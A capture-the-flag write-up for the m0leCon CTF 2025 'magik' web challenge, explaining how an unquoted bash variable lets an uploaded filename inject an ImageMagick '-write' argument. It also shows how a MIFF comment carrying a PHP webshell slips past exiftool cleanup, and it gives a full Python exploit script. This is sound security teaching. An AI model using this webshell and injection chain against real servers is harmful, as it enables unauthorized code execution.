Note
Abuse an unquoted ImageMagick output argument in convert.sh to split a controlled filename into extra convert arguments. Use -write for an arbitrary web-root write, upload a MIFF image whose comment contains PHP, bypass exiftool's metadata cleanup, then execute /readflag through the dropped PHP webshell.
magik - ImageMagick -write arbitrary PHP drop via MIFF comment metadata
CTF: m0leCon CTF 2025 | Category: Web | Stack: PHP, ImageMagick, exiftool
Challenge overview
The app is almost only an image upload wrapper. If an image and a name are supplied, PHP calls a helper
script and passes the uploaded temporary path plus the final output path:
$proc = proc_open(
$cmd = [
'/opt/convert.sh',
$_FILES['img']['tmp_name'],
$outputName = 'static/'.$_POST['name'].'.png'
],
[],
$pipes
);
echo $outputName;
proc_close($proc);
The container also ships a setuid /readflag helper:
int main() {
setuid(0);
system("cat /flag.txt");
return 0;
}
So the goal is straightforward: get code execution as the web user, then run /readflag.
The bug is in the shell wrapper
proc_open uses the array form, so the controlled name is not shell-expanded by PHP. The vulnerable
spot is later, inside convert.sh:
#!/bin/bash
set -x
convert $1 -resize 64x64 -background none -gravity center -extent 64x64 $2
find . -type f -exec exiftool -overwrite_original -all= {} + >/dev/null 2>&1 || true
Both $1 and $2 are unquoted. Since $2 is static/<name>.png, spaces inside name become new
ImageMagick arguments when Bash expands the variable.
This is not command injection. A value like $(touch pwned) is only another convert argument because
there is no second shell evaluation. But ImageMagick has dangerous arguments of its own, and -write
writes the current image to an attacker-chosen path before continuing.
For example, with:
name = a -write shell.php a
the script effectively runs:
convert /tmp/phpXXXX \
-resize 64x64 -background none -gravity center -extent 64x64 \
static/a -write shell.php a.png
That gives an arbitrary write in the document root (/app/shell.php here), while the final a.png keeps
convert happy.
Why a normal image payload fails
The cleanup step runs exiftool over the generated files and strips metadata:
find . -type f -exec exiftool -overwrite_original -all= {} + >/dev/null 2>&1 || true
The natural first idea is to upload a PNG/PHP polyglot, keep the PHP in a metadata field, then use
-write to save it as .php. That gets cleaned: exiftool understands the usual image metadata and
removes the PHP payload.
The bypass is to switch to MIFF (Magick Image File Format), ImageMagick's own format. ImageMagick
parses it and preserves its comment, but the cleanup does not remove the comment the same way it does
for normal image metadata. Since PHP executes code inside <?php ... ?> anywhere in the served .php
file, a MIFF comment is enough.
Minimal payload:
id=ImageMagick
class=DirectClass
columns=1
rows=1
depth=8
matte=False
comment={<?php system($_GET['cmd']); ?>}
:
\xff\xff\xff
When this is written to shell.php, requesting it outputs the MIFF text as plain HTML and executes the
embedded PHP tag in the comment line.
Exploit
The exploit only needs two requests: upload the MIFF through the -write argument injection, then hit the
webshell with cmd=/readflag.
import requests
URL = "http://target/"
miff = b"id=ImageMagick\n"
miff += b"class=DirectClass\n"
miff += b"columns=1\n"
miff += b"rows=1\n"
miff += b"depth=8\n"
miff += b"matte=False\n"
miff += b"comment={<?php system($_GET['cmd']); ?>}\n"
miff += b":\n"
miff += b"\xff\xff\xff"
files = {"img": ("exploit.miff", miff)}
data = {"name": "a -write shell.php a"}
r = requests.post(URL + "index.php", files=files, data=data)
print(r.text) # static/a -write shell.php a.png
flag_page = requests.get(URL + "shell.php?cmd=/readflag").text
flag = flag_page.split("comment={", 1)[1].split("\n", 1)[0][:-1]
print(flag)
The solve script in the working directory used the same primitive:
data = {'name': "a -write " + sys.argv[1] + " a"}
requests.post(TARGET, files={'img': f}, data=data)
requests.get(TARGET + sys.argv[1] + "?cmd=/readflag")
Flag recovered during the CTF:
ptm{n0t_s0_m4g1k}
Pitfalls
- Shell metacharacters in
nameare a dead end: PHP'sproc_openarray form and the wrapper's simple unquoted expansion give argument injection, not arbitrary shell execution. - Extra words in the output path are treated as additional ImageMagick inputs/outputs/options. Use a real
ImageMagick option such as
-writeinstead of trying to execute Bash syntax. - PNG metadata PHP shells are stripped by the post-conversion
exiftool -all=cleanup. - The webshell can be noisy because the served file is still a MIFF text file; parse the output around the
comment={line or just look for the flag in the response.
Takeaways (generalized technique)
- Quoting matters inside wrapper scripts even if the caller safely passes argv.
convert $2turns one controlled argv value into many attacker-controlled arguments. - ImageMagick argument injection can be enough for exploitation without command execution:
-writeturns a filename injection into an arbitrary file write. - Metadata-stripping defenses are format-dependent. If a cleanup step targets common image formats, try a parser-native format such as MIFF that the image processor accepts but the sanitizer handles poorly.
- PHP will execute
<?php ... ?>tags embedded inside otherwise non-PHP text when the file is served as a.phpscript.
Sources & references
- Challenge notes:
/home/conflict/ctfs/m0lecon2025/web/notes - Challenge source:
/home/conflict/ctfs/m0lecon2025/web/magik/attachments - Local solve scripts:
/home/conflict/ctfs/m0lecon2025/web/magik/solve.py,craft_image.py